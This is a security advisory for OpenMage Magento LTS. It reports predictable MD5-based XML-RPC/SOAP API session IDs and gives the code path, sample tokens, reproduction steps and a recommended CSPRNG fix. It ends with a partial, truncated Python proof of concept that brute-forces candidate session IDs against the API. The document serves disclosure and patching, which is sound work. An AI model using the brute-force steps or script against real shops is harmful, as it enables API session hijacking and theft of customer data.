GHSA-2cwr-gcf9-pvxr Magento LTS has Weak API Session ID — Predictable MD5 of Time-Derived Inputs

• Packagist openmage/magento-lts: < 20.18.0 → fixed in 20.18.0

Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on `20.16.0`) Affected File: `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php` – `start()` method Summary The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG): ```php The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG): ``` All inputs to the MD5 hash are time-derived and non-secure: | Input | Value | Predictability | |----------------------------|---------------------------------------------------|----------------------------------------| | `time()` | Unix timestamp (seconds) | Fully predictable | | `uniqid('', true) prefix` | `sprintf('%08x%05x', $sec, $usec/10)` | Highly predictable via network timing | | `uniqid('', true) suffix` | `php_combined_lcg()` decimal float | Process-state dependent (`getpid() ^ time()`) | | `$sessionName` | `null` (empty) — called without arg | Constant | Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions. Technical Analysis Code Path ``` POST /api/xmlrpc/ → login(username, apiKey) → Mage_Api_Model_Session::login() → $session->init('api', 'api') → Mage_Api_Model_Session::init($namespace='api', $sessionName='api') # $sessionName is NOT forwarded to start() → Mage_Api_Model_Session::start() ← NO $sessionName argument # $sessionName = null inside start() $this->_currentSessId = md5(time() . uniqid('', true) . null) ``` Note: `init()` receives `$sessionName='api'` but invokes `$this->start()` without forwarding it, meaning the effective construction is strictly `md5(time() . uniqid('', true))`. Live Evidence Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (`unix_sec= 1775817593`): ``` Sample 1: 6a302397f17e48845d0f9aba377f3dc3 (usec ≈ 464631) Sample 2: 39b4ec42bd3c389312e500690daeb349 (usec ≈ 497215) Sample 3: 527662d79f7fb499597a82d80d170a88 (usec ≈ 535175) Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2 (usec ≈ 568838) Sample 5: 5bdf27e5cb877c77b8965b008548edfa (usec ≈ 600118) ``` The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically. Steps to Reproduce (Online Brute-Force Scenario) Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits. Step 1 – Record Login Timestamp An attacker observes the precise moment a victim authenticates to `/api/xmlrpc/` (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second. Step 2 – Generate Candidate Pool The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a `/server-status` leak). ``` $t = $observed_sec; $usec_estimate = 500000; // Derived from latency $uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10)); $candidate = md5($t . $uid); // + LCG variants ``` Step 3 – API Brute-Force (Session Hijack) Because the `/api/xmlrpc/` endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner. ``` POST /api/xmlrpc/ magento.info CANDIDATE_SESSION_ID ``` A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked. Impact Technical Impact Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for: • Full product catalog read/write (`catalog_product.*`) • Customer data read (`customer.list`, `customer.info`) • Order manipulation (`sales_order.*`) Inventory control (`cataloginventory_stock_item.*`) Business Impact • Data Exfiltration: Read all customer PII, order history, and payment methods. • Order Fraud: Create or cancel orders, change shipping addresses. • Supply Chain / Inventory: Modify prices, inject malicious products, or zero out stock. Affected API Protocols The same vulnerable `Session.php` generation logic is shared across all legacy API surfaces: • XML-RPC: `/api/xmlrpc/` • SOAP v1: `/api/soap/` • SOAP v2: `/api/v2_soap/` • REST (legacy): `/api/rest/` Recommended Fix Replace the time-derived token with a cryptographically secure random value: ``` // app/code/core/Mage/Api/Model/Session.php : start() // BEFORE (vulnerable): $this->_currentSessId = md5(time() . uniqid('', true) . $sessionName); // AFTER (secure): $this->_currentSessId = bin2hex(random_bytes(32)); // 256-bit CSPRNG output ``` `random_bytes()` is backed by the OS CSPRNG (`/dev/urandom` on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks. I have also tried to test it against the demo site demo.openmage.org, but appeared the SOAP API endpoints are disabled on the demo environment I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk): ```py !/usr/bin/env python3 import requests, re, sys, hashlib, random from concurrent.futures import ThreadPoolExecutor, as_completed import urllib3; urllib3.disable_warnings() if len(sys.argv) [threads]") url, usr, pwd = sys.argv[1:4] th = int(sys.argv[4]) if len(sys.argv) > 4 else 50 hdrs = {"Content-Type": "text/xml"} req = lambda d: requests.post(url, data=d, headers=hdrs, verify=False, timeout=5) print(f"[*] Simulating victim login for {usr}...") res = req(f'login{usr}{pwd}') if not (m := re.search(r'([a-f0-9]{32})', res.text)): sys.exit("[-] Login failed. Check credentials.") print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...") cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)] cands.append(m.group(1)) random.shuffle(cands) print(f"[*] Brute-forcing API with {th} threads...") def test(sid): payload = f'<me…